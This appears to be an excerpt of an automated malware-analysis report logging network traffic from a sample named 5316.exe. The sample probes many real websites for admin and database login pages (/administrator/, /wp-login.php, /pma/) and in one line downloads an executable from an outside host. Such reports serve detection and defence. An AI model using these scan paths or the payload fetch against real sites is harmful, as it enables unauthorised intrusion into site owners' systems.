Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: www.rosetre.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=UAsXjFzPbfZTWVOmGwHToUVXNmezVzE6yDwNa7gXBIM-1703038419-1-Aa44RahpWS2y6lMeUPw9GcojgLk89omakUXwz5UlUZSQmn3RkUnJsE0BOlmAB0Hp3u6RglDzgPO8ZRci4D8wqTs=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=NePZIk.d_.NSda1q4JSM_hwZUWCkWmuzED9tHbFeuFI-1703038419-1-AdCFBEg06kS/eLqqRvUuuWrxTJ/ec6eYNTMiNagdUbkuFt5VippkJh+lTcnsMUXejPiF/c1gp6XpKJqBBRqhFp0=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: www.qihabitats.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: twohillsstudio.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=affa9b41577ea3b7472fa0a7d04cd9b5User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: london.com.trAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=NePZIk.d_.NSda1q4JSM_hwZUWCkWmuzED9tHbFeuFI-1703038419-1-AdCFBEg06kS/eLqqRvUuuWrxTJ/ec6eYNTMiNagdUbkuFt5VippkJh+lTcnsMUXejPiF/c1gp6XpKJqBBRqhFp0=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: eco-child.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.plastikolor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: artusopastry.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: www.tgcan.co.ukAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=UAsXjFzPbfZTWVOmGwHToUVXNmezVzE6yDwNa7gXBIM-1703038419-1-Aa44RahpWS2y6lMeUPw9GcojgLk89omakUXwz5UlUZSQmn3RkUnJsE0BOlmAB0Hp3u6RglDzgPO8ZRci4D8wqTs=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.a2b-internet.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/auth/login HTTP/1.1Host: eco-child.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipCookie: is_mobile=0User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/auth/login HTTP/1.1Host: artusopastry.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 HTTP/1.1Host: cgi-sys.server294.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://twohillsstudio.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome HTTP/1.1Host: sites.google.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=1defdf9a4835566493b8f00f7d3322bf6dc65a2f-1703038421; __cf_bm=TPZ.yFoYMiOUwrWPAVnBvBYXlAVhoKRPi7wj0DXTWeA-1703038421-1-Ac3RFzeLkInDtOmZlMxvng4l7K4FxnvMjwqDEDPU8oYqjzp/wz5nRWBDzaplLA/sG+I/35pd7LSZhGIFiklcN0o=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /ftp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: ftpvoyager.cc
Source: global traffic	HTTP traffic detected: GET /order/tuc5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cream.hitsturbo.com
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: choctawcasino.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: conalcorp.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: onjevilla.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: goaeta.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: tiltdesign.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: choctawcasino.comAccept: /Accept-Encoding: deflate, gzipCookie: parking_session=157f0e73-f3e7-4a70-bef1-5afc03fb2dc4User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://choctawcasino.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: copyset.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: rosetre.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: centurylaboratories.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: lisvankooten.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: micresearch.netAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: smithstar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: tgcan.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: meltonhome.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: ecochild.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: onjevilla.comAccept: /Accept-Encoding: deflate, gzipCookie: parking_session=3aa4a8fb-1ccb-4ff1-aa9a-b8f4380b9281User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://onjevilla.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: goaeta.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://goaeta.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: bookmyrace.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: jgarch.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: directservbms.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: centurylaboratories.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://centurylaboratories.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: meltonhome.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://meltonhome.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: smithstar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://smithstar.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: collinsgordonhenry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: jayshreeautomation.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: conalcorp.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://conalcorp.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: nymalegigolos.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: schelberg.netAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: london.com.trAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: plastikolor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: a2b-internet.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: jgarch.comAccept: /Accept-Encoding: deflate, gzipCookie: tosession=1703038400_177780_1243829267User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://jgarch.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: bookmyrace.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://bookmyrace.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: schelberg.netAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://schelberg.net/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: micresearch.netAccept: /Accept-Encoding: deflate, gzipCookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0cUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://micresearch.net/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: rehau.com.mkAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: jayshreeautomation.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://jayshreeautomation.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: theseekerchurch.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: eb-concept.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: directservbms.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://directservbms.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: eb-concept.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://eb-concept.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: tgcan.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://tgcan.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: pricklypearworks.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: meltonhome.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <li><a class="circled" target="_blank" href="https://www.facebook.com/twohillsstudio"> <i class="fa fa-facebook"></i></a></li> equals www.facebook.com (Facebook)
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.facebook.com/artusopastryshop" title="Artuso Pastry on Facebook"> equals www.facebook.com (Facebook)
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.youtube.com/@artusopastry" title="Artuso Pastry on YouTube"> equals www.youtube.com (Youtube)
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <li><a href="http://www.youtube.com/artusopastry">Press & Media</a></li> equals www.youtube.com (Youtube)
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <li><a href="https://www.facebook.com/pages/Artuso-Pastry-Shop/96952742358?ref=ts">Facebook</a></li> equals www.facebook.com (Facebook)
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <li class="mobile-nav__item mobile-nav__item--secondary"><a href="http://www.youtube.com/artusopastry">Press & Media</a></li> equals www.youtube.com (Youtube)
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <li class="mobile-nav__item mobile-nav__item--secondary"><a href="https://www.facebook.com/pages/Artuso-Pastry-Shop/96952742358?ref=ts">Facebook</a></li> equals www.facebook.com (Facebook)
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.facebook.com/mgbymags/">Facebook</a><br /> equals www.facebook.com (Facebook)
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.youtube.com/channel/UCwNe_99_Q1A6c7fi0Qj2smg">Youtube</a><br /> equals www.youtube.com (Youtube)
